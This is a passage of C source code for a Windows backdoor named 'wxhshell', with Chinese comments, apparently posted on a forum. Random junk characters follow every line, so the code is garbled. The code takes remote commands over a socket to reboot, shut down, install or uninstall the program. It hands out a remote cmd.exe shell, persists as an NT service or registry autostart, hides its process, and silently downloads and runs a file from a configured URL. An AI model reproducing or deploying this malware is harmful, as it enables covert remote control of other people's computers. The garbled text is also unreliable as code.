  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t6p}LNm(V  
  } UKyOkuY:w  
  else { rQT@:$ )  
Hb5^+.xur  
    switch(cmd[0]) { V#jFjObTN  
  {'dpRq{c|  
  // 帮助 |aef$f5  
  case '?': { rqk1 F~j|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^yDCX  
    break; a.)Gd]}g  
  } lO},fM2j  
  // 安装 Omo1p(y  
  case 'i': { i-!Z/,oL  
    if(Install()) sxM0c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]F5?>du@~  
    else ##VS%&{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g+8{{o=  
    break; yv| |:wZC  
    } #I[tsly}  
  // 卸载 >*rsRR  
  case 'r': { `9M:B&  
    if(Uninstall()) +jD?h-]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [G:wPp.y  
    else Y%!3/3T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g+BW~e)  
    break; RE/'E?G  
    } ` oN~  
  // 显示 wxhshell 所在路径 w^tNYN,i  
  case 'p': { lC&U9=7W  
    char svExeFile[MAX_PATH]; vtw{ A}  
    strcpy(svExeFile,"\n\r"); |0YDCMq(  
      strcat(svExeFile,ExeFile); 8v)pPJr  
        send(wsh,svExeFile,strlen(svExeFile),0); v,w/g|  
    break; 'J~{8w,.  
    } C;2!c  
  // 重启 O-- "\4  
  case 'b': { aW hhq@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s6SG%Vd  
    if(Boot(REBOOT)) e$>.x< Eq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %lPAq  
    else { _YzItge*  
    closesocket(wsh); HHu|X`tc  
    ExitThread(0); "R@N}q<*v2  
    } N@J "~9T  
    break; 0-#SvTf>;:  
    } @? 4-  
  // 关机 O~yPe.  
  case 'd': { B0I(/ 7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6wH]W+A  
    if(Boot(SHUTDOWN)) O o9 ePw7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /CX_@%m}e=  
    else { HRO :U%  
    closesocket(wsh); Aa t _5p  
    ExitThread(0); =*0<.Lo':  
    } +')\,m "z  
    break; Sz4YP l  
    } {8D`A;KD  
  // 获取shell I]N?}]uZ  
  case 's': { $ ;cZq  
    CmdShell(wsh); xVHZZ?e  
    closesocket(wsh); u 0KVp6`  
    ExitThread(0); s.z(1MB]  
    break; '&@'V5}C{  
  } {J3;4p-&  
  // 退出 GkqKIs  
  case 'x': { 9:zW$Gt&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |x*~PXb  
    CloseIt(wsh); ` MIZqHM @  
    break; SSO F\  
    } \{  
  // 离开 ;&4}hPq  
  case 'q': { &~oBJar  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d`9% :2qE  
    closesocket(wsh); +{Yd\{9  
    WSACleanup(); 9[}L=n  
    exit(1); [#$:X+lw  
    break; 7Pspx'u  
        } {HPKp&kl  
  } Ft)7Wx" S  
  } l<I.;FN^9@  
Gs]m; "o|  
  // 提示信息 t.|b285e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M.|O+K z  
} 71`)@y,Z,  
  } mX))*e4k  
#DjSS.iW  
  return; M qq/k J  
} ~bU!4P}4j  
csP 5R3  
// shell模块句柄 ?m5@ 63 5  
int CmdShell(SOCKET sock) 2(V;OWY(@  
{ e1a8>>bcI  
STARTUPINFO si; kGm-jh  
ZeroMemory(&si,sizeof(si)); tA'O66.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |uT|(:i84,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O>UG[ZgW  
PROCESS_INFORMATION ProcessInfo; &u) R+7bl,  
char cmdline[]="cmd"; #&zNYzI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `j+aAxJ=\  
  return 0; Wt=QCutt  
} `8^4,  
tow0/ Jt  
// 自身启动模式 .OI&Zm-  
int StartFromService(void) l1*qDzb  
{ !p$z8~  
typedef struct \q9wo*A  
{ Y'tPD#|r  
  DWORD ExitStatus; {&Kck>C'  
  DWORD PebBaseAddress; i?" ~g!A  
  DWORD AffinityMask; ,e\'Y!'  
  DWORD BasePriority; .$nQD.X  
  ULONG UniqueProcessId; zzlV((8 ~  
  ULONG InheritedFromUniqueProcessId; A2 'W  
}   PROCESS_BASIC_INFORMATION; :^~I@)"ov  
+[386  
PROCNTQSIP NtQueryInformationProcess; 7,0^|P  
G&qO{" Js  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .f)&;Af^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [JI>e;l C:  
1b*Me'  
  HANDLE             hProcess; j >f  
  PROCESS_BASIC_INFORMATION pbi; [-}LEH1[p  
' lt5|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2JY]$$K7  
  if(NULL == hInst ) return 0; ]o}g~Xn  
:E ]Ys  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hKa<9>MI`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kY d'6+m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :iW+CD)j  
~*aPeJ  
  if (!NtQueryInformationProcess) return 0; !EO*xxQ  
f;os\8JdM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qPle=6U[IL  
  if(!hProcess) return 0; MR$R#  
G i 1Jl"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dw'&Av' |E  
(C{l4  
  CloseHandle(hProcess); @~t^zI1  
1Pya\To,m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _:(RkS!x  
if(hProcess==NULL) return 0; kn2s,%\`<p  
[ 6+iR  
HMODULE hMod; +XL^dzN[|$  
char procName[255]; p5RnFe l  
unsigned long cbNeeded; *4]u?R  
KZ8Hp=s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3<Qe'd ^  
%t&   
  CloseHandle(hProcess); k@[\ C`P  
n=t50/jV3=  
if(strstr(procName,"services")) return 1; // 以服务启动 uY6]rt_#a  
X/< zxM  
  return 0; // 注册表启动 ~SKV%  
} .`./MRC  
1Q[I$=-F  
// 主模块 "cJ))v-'  
int StartWxhshell(LPSTR lpCmdLine) ;U+4!N  
{ QT\||0V~p  
  SOCKET wsl; Ag[Zs%X  
BOOL val=TRUE; Kkfza  
  int port=0; *u J0ZO9  
  struct sockaddr_in door; o[$~  
e@6]rl  
  if(wscfg.ws_autoins) Install(); 5"~F#vt  
8PKUg "p  
port=atoi(lpCmdLine); 80(Olf@PE  
.|XG0M  
if(port<=0) port=wscfg.ws_port; b'x26wT?  
HL8onNq  
  WSADATA data; QMO.Bnek  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :V,agAMn  
(!cG*FrN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R1sWhB99  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); > nHaMj  
  door.sin_family = AF_INET; !TNp|U!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &TgS$c5k  
  door.sin_port = htons(port); q4y P\B  
*'?aXS -'r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bCa%$  
closesocket(wsl); +( Q$GO%  
return 1; kZb #k#  
} asEk 3  
w.7p D  
  if(listen(wsl,2) == INVALID_SOCKET) { 9w)W|9  
closesocket(wsl); sej$$m R  
return 1; 7uUo DM  
} (5rfeSA^  
  Wxhshell(wsl); MUQj7.rNa  
  WSACleanup(); + *xi&|%  
 =1MVF  
return 0; e]9Z]a2  
P/!W']OO  
} \ 8v^ hb  
$U/|+*  
// 以NT服务方式启动 3Q0g4#eP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \\R$C  
{ p<Oz"6_/~  
DWORD   status = 0; S4ys)!V1V  
  DWORD   specificError = 0xfffffff; T]_]{%z  
"26=@Q^Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R$|"eb5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5&C:&=Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m%ec=%L9  
  serviceStatus.dwWin32ExitCode     = 0; !B*l'OJw  
  serviceStatus.dwServiceSpecificExitCode = 0; +nAbcBJAl  
  serviceStatus.dwCheckPoint       = 0; o;kxu(>yL'  
  serviceStatus.dwWaitHint       = 0; i!<1&{  
!VDNqW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -P6Z[ V%  
  if (hServiceStatusHandle==0) return; ;2y4^  
=&K8~   
status = GetLastError(); iNCT(N~.  
  if (status!=NO_ERROR) f>CJ1 ;][{  
{ ;% <[*T:*'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K[q{)>,9  
    serviceStatus.dwCheckPoint       = 0; |tr^ `Z  
    serviceStatus.dwWaitHint       = 0; ;:PxWm|_  
    serviceStatus.dwWin32ExitCode     = status; Of}dsav   
    serviceStatus.dwServiceSpecificExitCode = specificError; mu*RXLai  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ljP<WD  
    return; B?nw([4m  
  } Fp&tJ]=B.  
UdOO+Z_K%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >vPv 4e7&3  
  serviceStatus.dwCheckPoint       = 0; Ee3 -oHa  
  serviceStatus.dwWaitHint       = 0; <B&vfKO^h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 14pyHMOR  
} jct|}U  
Oq9E$0JW  
// 处理NT服务事件,比如:启动、停止 B&+)s5hh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dW5@Z-9  
{ ,;@v Vm'}  
switch(fdwControl) FP<mFqy  
{ 1/ 3<u::  
case SERVICE_CONTROL_STOP: _C3O^/<n4V  
  serviceStatus.dwWin32ExitCode = 0; jO0"`|(]s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PcQ\o>0")  
  serviceStatus.dwCheckPoint   = 0; fW w+'xF!  
  serviceStatus.dwWaitHint     = 0; l`<1Y|  
  { egmNX't6f5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yZV Y3<]  
  } r"|UgCc  
  return; 5AbY 59  
case SERVICE_CONTROL_PAUSE: XiM d|D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q?2Gw N  
  break; 8-"D.b4  
case SERVICE_CONTROL_CONTINUE: ]~:WGo=_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a@S{ A5j  
  break; lyD=n  
case SERVICE_CONTROL_INTERROGATE: U#G<cV79  
  break; 2!_DkE  
}; 8F K%7\V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %M,^)lRP  
} 6z5wFzJv?q  
F};T<#  
// 标准应用程序主函数 P84= .* >  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %-KgR  
{ w `nm}4M  
T'ei>]y]  
// 获取操作系统版本 TD sjNFe3  
OsIsNt=GetOsVer(); [XhG7Ly  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 60G(jO14  
cTBUj  
  // 从命令行安装 tR\cS )  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZmDM=qN  
D (WdI  
  // 下载执行文件 9~J#> C0}  
if(wscfg.ws_downexe) { fuU 3?SG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,R\ex =c  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y?6}r;<  
} jcp6-XM  
-W{ !`<8D  
if(!OsIsNt) { A*~BkvPr  
// 如果时win9x,隐藏进程并且设置为注册表启动 j+PLtE   
HideProc(); C]Q`!e  
StartWxhshell(lpCmdLine); TkR#Kzv380  
} cGyR_8:2cv  
else Nwo*tb:  
  if(StartFromService()) +|--}iE5n  
  // 以服务方式启动 X%$1%)C9  
  StartServiceCtrlDispatcher(DispatchTable); vaLP_V  
else vScEQS$>  
  // 普通方式启动 n/{ pQ&B  
  StartWxhshell(lpCmdLine); V aoqI  
,A5}HRW%  
return 0; i#aKW'  
}
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只看该作者 1 发表于: 2006-10-10
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